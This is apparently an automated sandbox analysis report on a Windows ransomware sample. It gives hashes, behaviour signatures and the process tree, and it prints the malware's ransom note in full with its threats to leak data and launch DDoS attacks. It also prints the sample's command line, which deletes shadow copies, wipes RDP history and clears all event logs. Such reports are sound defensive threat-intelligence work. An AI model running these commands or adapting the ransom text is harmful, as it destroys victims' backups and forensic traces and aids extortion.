Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
41s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
-
submitted
23/12/2022, 08:00
General
-
Target
7b379458349f338d22093bb634b60b867d7fd1873cbd7c65c445f08e73cbb1f6.exe
-
Size
143KB
-
MD5
6307838a9cef952321a44cc3e189213e
-
SHA1
2b3fea431f342c7b8bcff4b89715002e44d662c7
-
SHA256
7b379458349f338d22093bb634b60b867d7fd1873cbd7c65c445f08e73cbb1f6
-
SHA512
3b31e14fdfa6ecd33a0086b3db84ac1b0fef97a40cb82115007c69680e201c22bb638af4a4255dd21a2219e1143f1c940b4308d618467d9f0f22b0bab40cf18d
-
SSDEEP
1536:4uFohxL86e7tnkZXYklWXuiMqeGKPPRxPv8/0JS1CjhSlUUbvF7kFrWyaBvEEUAX:4RhxktIWTMqPKPPH1yUUB4kVUXsB/
Score
10/10
Malware Config
Extracted
Path
C:\!-Recovery_Instructions-!.html
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset='utf-8'>
<meta name='viewport' content='width=device-width,initial-scale=1'>
<title></title>
<style>
html, body {
background-color: #1a1a1a;
}
body {
padding-top: 1rem !important;
font-size: 1.3rem;
color: white;
}
#text h2 {
font-size: 2rem;
font-weight: 600;
line-height: 1.125;
}
.container {
max-width: 1152px;
flex-grow: 1;
margin: 0 auto;
position: relative;
width: auto;
}
.box {
background-color: #242424;
display: block;
padding: 1.25rem;
border: 1px solid #303030;
}
a {
color: #00b4d8;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
li {
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class='container'>
<div class='box'>
<div id='text'>
<h2>If you get this message, your network was hacked!</h2>
<p>After we gained full access to your servers, we first downloaded a large amount of sensitive data and then encrypted all the data stored on them.</p>
<p>That includes personal information on your clients, partners, your personnel, accounting documents, and other crucial files that are necessary for your company to work normally.</p>
<p>We used modern complicated algorithms, so you or any recovery service will not be able to decrypt files without our help, wasting time on these attempts instead of negotiations can be fatal for your company.</p>
<p>Make sure to act within <span style='color:#f4a261;'>72</span> hours or the negotiations will be considered failed!</p>
<p>Inform your superior management about what's going on.</p>
<p> Contact us for price and get decryption software.</p>
<p> Contact us by email:<p>
<h2>[email protected]</h2>
</p>If you will get no answer within 24 hours contact us by our alternate emails:</p>
<h2>[email protected]</h2>
</p>To verify the possibility of the recovery of your files we can decrypted 1-3 file for free.</p>
</p>Attach file to the letter (no more than 5Mb).</p>
<h2>If you and us succeed the negotiations we will grant you:</h2>
<ul>
<li>complete confidentiality, we will keep in secret any information regarding to attack, your company will act as if nothing had happened.</li>
<li>comprehensive information about vulnerabilities of your network and security report.</li>
<li>software and instructions to decrypt all the data that was encrypted.</li>
<li>all sensitive downloaded data will be permanently deleted from our cloud storage and we will provide an erasure log.</li>
</ul>
<h2>Our options if you act like nothing's happening, refuse to make a deal or fail the negotiations:</h2>
<ul>
<li>inform the media and independent journalists about what happened to your servers. To prove it we'll publish a chunk of private data that you should have ciphered if you care about potential breaches.
Moreover, your company will inevitably take decent reputational loss which is hard to assess precisely.</li>
<li>inform your clients, employees, partners by phone, e-mail, sms and social networks that you haven't prevent their data leakage.
You will violate laws about private data protection.</li>
<li>start DDOS attack on you website and infrastructures.</li>
<li>personal data stored will be put on sale on the Darknet to find anyone interested to buy useful information regarding your company. It could be data mining agencies or your market competitors.</li>
<li>publish all the discovered vulnerabilities found in your network, so anyone will do anything with it.</li>
</ul>
<h2>Why pay us?</h2>
<p>We care about our reputation. You are welcome to google our cases up and be sure that we don't have a single case of failure to provide what we promissed.</p>
<p>Turning this issue to a bug bounty will save your private information, reputation and will allow you to use the security report and
avoid this kind of situations in future.</p>
<h2>Your personal ID</p>
5895F1A733F35BED991FE804E85A4A519A051EACDF0BCD775FB7F35C596AE7
2BE77A91B9092FC9B751B0F827BA5D5CA5D4F4430A0F2B83A86975D2499CD7
D75EB1956C60D0E9E9C1BCF23F285794B2FDAB94105C1108AD58633866E9B8
59625CA695BE49EF8464E3DC7E37E80FD82C06BE49480671D38F153D26D2CC
1D868632537C1990CF622C66387FE2342AF0B1E9F1964A7794504DAE3CF17E
51ADB486D1AC699DD75A143E4B7A6EB08B2C5AA78741088624ABA59F243992
9998F02572D93B68F7ABE0737B3A20E614EE12A6DBBEBFA3F8E27C831F9352
C8B6B8CD085446814BA90529BC74267BAED44762C02A7D89D149B318D8C8DC
6C8EC77C5521AAA20771CE6499F24FB2F9B8729683AE97F203957F70E84DB5
7BCD23E7739A6D3BAC0CC7F3942FC09E17FAB4A0D7B27F6DB65CB46B47BC8B
FEC0E4AF966DC0D0B14378D5EE8344F82B098CD40FA2FE10C10DABB179F992
5C9BA271ED4413F9E810C50099C0F5ECD65FE8B8921A4D6AF4E2CF5A9099C4
849414D64FAA9782F37627F53D30BA80449AD6F23874EF09231FF597F30483
96A19C4B31C1DFF15770D0173A7C61D2805C116C47B784FA5E3EAFE73AF35F
EB55748537DF013E9E61CA717BFCAC4DF971ED9ECC9C5F489BADB8C2C35B2E
3C01053414F8B74DE7C6B861CC327FB7ECD2652E0C673B518ED81FD401279A
96CE6E559B18CFADA49C2B7EA9C640FBB0A92AECA1F62DD0EE8BC9B704AD82
ED105F4192A049374B5D6CF35E99CCA2A0076D0AFE21063E897A22B846C569
6D849BECC3B74C199C1834FA1CDDFEF3280E59AF96D4E193726CA61D86EDAD
AF71C40A68A1EE135AD6323B1E3BCEF53B0A1299EB7A3804EEFF65C272A6CB
7BAAE8594879EC0938BAEF9E8A5DEAD8E47A3939E6D6439EAC7F3EA2A3087A
7523320D698D94E4E992CC569FCF7FDA1733AF51D4FAABB541556897DF4601
788F1FC9E4A7A39B02A827902B2764691CFBFAE857A4346019D860BE87CAC8
3B412FAAF4FF95D19A142D01968A9F4C32D2A37E80ADF361B638E0F597B9A0
D5DA3DDF31BE2A3B516D4BF6EE979E755ADEDD4D4A3BE241EB68253C047CCB
0CA073D742F3CE5B9A6ADD7E3E2EFF1BBE14E965CAFFDF2B2376F3168CE81D
3401
Emails
<h2>[email protected]</h2>
<h2>[email protected]</h2>
Signatures
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
-
Drops desktop.ini file(s) 27 IoCs
-
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\7b379458349f338d22093bb634b60b867d7fd1873cbd7c65c445f08e73cbb1f6.exe"C:\Users\Admin\AppData\Local\Temp\7b379458349f338d22093bb634b60b867d7fd1873cbd7c65c445f08e73cbb1f6.exe"1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB